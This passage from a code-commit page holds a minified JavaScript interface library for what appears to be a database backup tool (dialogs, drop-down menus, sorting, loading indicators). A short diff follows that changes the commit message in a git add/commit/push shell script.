null;h.open("POST",a,!0);h.setRequestHeader("Content-Type","application/x-www-form-urlencoded");var k=this,g=setInterval(function(){h&&4==h.readyState&&(200==h.status&&eval(h.responseText),c&&c(),h=null,clearInterval(g),g=null,e||k.hideLoading())},33);h.send(b)},css:{add:function(a,b){var d=document.styleSheets[0];b||(b=d.cssRules?d.cssRules.length:d.rules.length);d.addRule?/^([^{]+)\{(.*)\}\s*$/.test(a)&&d.addRule(RegExp.$1,RegExp.$2,b):d.insertRule(a,b)},swap:function(a,b,d){var e=a.className.split(/\s+/),
c;for(c in e)for(var f in b)if(e[c]==b[f]){e[c]=b[d];break}a.className=e.join(" ")}},showDialog:function(a){this.overlay.style.display="block";a=this.dialogs[a];a.style.display="block";a.style.marginTop="-"+Math.round(a.clientHeight/2-2)+"px";a.getElementsByTagName("input")[0].focus()},hideDialog:function(a){this.dialogs[a].style.display="none";this.overlay.style.display="none"},addCombo:function(a,b,d,e){this.combos[a]={ico:d||0,el:z(a)};var c=this.combos[a];"object"==typeof e?e=this.addOpt(e):(d=
/^(\w+):(\w+)$/.exec(e))?(b={},b[e]=0<this.combos[d[2]].options.length?this.combos[d[2]].options[this.combos[d[2]].sel].opts:[],b=this.addOpt(b,1),this.combos[d[2]].child=c):(d={},d[e]={},e=this.addOpt(d));c.options=this.options[e];c.optName=e;c.name=a;c.parent=this;c.el.className="zSel";c.el.innerHTML='<div class="lb"></div><div class="txt" style="background-position:-16px '+-16*(c.ico-1)+'px;"></div><div class="arr"><div class="mb"></div><div class="more"></div><div class="rb"></div></div>';c.action=
function(){};c.select=function(a,b){this.sel*=1;if(void 0==this.options)return!1;if("+"==a)this.sel+=this.sel<this.options.length-1?1:0;else if("-"==a)this.sel-=0<this.sel?1:0;else{this.sel=0;for(var c in this.options)if(this.options[c].value==a){this.sel=c;break}}b&&(this.parent.menu.el.style.display="none",document.body.onclick=null);this.value=this.options[this.sel]?this.options[this.sel].value:0;this.text=this.options[this.sel]?this.options[this.sel].text:"";this.el.childNodes[1].innerHTML=this.text;
this.child&&(this.parent.clearOpt(this.child.optName),c={},c[this.child.optName]=this.options[this.sel].opts,this.child.select(this.parent.addOpt(c,1),0));var d=this;b?(clearTimeout(sxd.timeout),sxd.timeout=setTimeout(function(){d.action()},500)):this.action()};c.select(b,0);c.action=this.actions[e]||function(){};c.show=function(){c.el.disabled||f.showMenu(c,c.options,{})};var f=this;c.el.onmouseover=function(a){c.el.disabled||(c.el.className="zSel ovr")};c.el.onmousewheel=function(a){a=a||window.event;
a=0<a.wheelDelta?"-":"+";c.el.disabled||c.select(a,1)};c.el.addEventListener&&c.el.addEventListener("DOMMouseScroll",function(a){a.wheelDelta=-a.detail;c.el.onmousewheel(a)},!1);c.el.onmouseout=function(a){c.el.className="zSel"};c.el.onmousedown=function(a){a=a||window.event;c.el.disabled||("none"!=f.menu.el.style.display&&f.menu.el.obj.name==c.name?(f.menu.el.style.display="none",c.el.className="zSel ovr"):(c.el.className="zSel dwn",c.show()));a.stopPropagation&&a.stopPropagation();a.cancelBubble=
!0}},addOpt:function(a,b){b=b||0;var d="",e;for(e in a){this.options[e]||(this.options[e]=[]);for(var c in a[e])"object"==typeof a[e][c]?this.options[e].push({text:c,value:1*c==c?1*c:c,opts:a[e][c]}):(b&&a[e][c]&&(d=c),this.options[e].push({text:b?c:a[e][c],value:1*c==c?1*c:c}));this.options[e]=this.options[e].sort(this.keyNatSort)}return b?d:e},clearOpt:function(a){if(a)this.options[a]&&(this.options[a].length=0);else for(var b in this.options)this.options[b].length=0},showMenu:function(a,b,d){var e=
"",c=this.menu.el;c.className="zSelMenu";c.innerHTML='<div style="width:100%;"></div>';for(var f in b)e=document.createElement("DIV"),e.innerHTML=b[f].text,e.title=e.firstChild.nodeValue||"",f==a.sel&&(e.className="ovr",c.over=e),e.value=b[f].value,e.onmouseover=function(){c.over&&(c.over.className="");this.className="ovr";c.over=this},e.onmousedown=function(){d.runjob?sxd.runSavedJob(c.obj.com,this.value):2==d.btn?sxd.runServices(this.value):c.obj.select(this.value,0);c.style.display="none"},c.firstChild.appendChild(e);
c.style.display="block";b=this.offset(a.el);c.style.width=(d.width?d.width:a.el.offsetWidth-4)+"px";e=260>c.firstChild.offsetHeight?c.firstChild.offsetHeight:260;c.style.height=e+"px";c.style.top=b.top-(d.btn?e+a.el.offsetHeight+2:0)+"px";c.style.left=b.left+"px";c.scrollTop=c.over?c.over.offsetTop:0;c.obj=a;c.onmousedown=function(a){a=a||window.event;a.stopPropagation&&a.stopPropagation();a.cancelBubble=!0};document.body.onmousedown=function(){c.style.display="none";document.body.onclick=null}},
offset:function(a){for(var b=a.offsetTop+a.offsetHeight+1,d=a.offsetLeft+2;a=a.offsetParent;)b+=a.offsetTop-a.scrollTop,d+=a.offsetLeft-a.scrollLeft;return{top:b,left:d}},keyNatSort:function(a,b){var d,e;a=a.value;for(b=b.value;(d=/^(\D+|(\d+))(.*?)$/.exec(a))&&(e=/^(\D+|(\d+))(.*?)$/.exec(b));){if(d[2]&&e[2]&&d[2]!=e[2])return 1*d[2]>1*e[2]?1:-1;if(d[1]&&e[1]&&d[1]!=e[1])return d[1]>e[1]?1:-1;if(d[3]&&e[3]&&d[3]!=e[3])a=d[3],b=e[3];else return 0}},formatSize:function(a,b){b=b||0;if(0<=a){for(var d=
0;999<a&&(a/=1024);)d++;a=(0<d?a.toPrecision(3):a)+" "+sxdlng.sizes[d];return 2==b?a:1==b?" <span>[ "+a+" ]</span>":"[ "+a+" ]"}return""},showLoading:function(a){this.loading.innerHTML=a;this.loading.style.visibility="visible"},hideLoading:function(){this.loading.style.visibility="hidden";sxd.job.stop=1;z("btn_stop").disabled=!0;z("btn_pause").disabled=!0;z("btn_again").disabled=!1},newJob:function(){for(var a="",b=0;8>b;b++)a+="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890".charAt(Math.round(61*
Math.random()));return a}};

View File

@ -2,5 +2,5 @@
git add . git add .
#git commit -m $(date "+%Y-%m-%d") #git commit -m $(date "+%Y-%m-%d")
git commit -m "Есть возможность добавлять коментарии к статьям" git commit -m "Кривое создание и удаление складов"
git push -u origin master git push -u origin master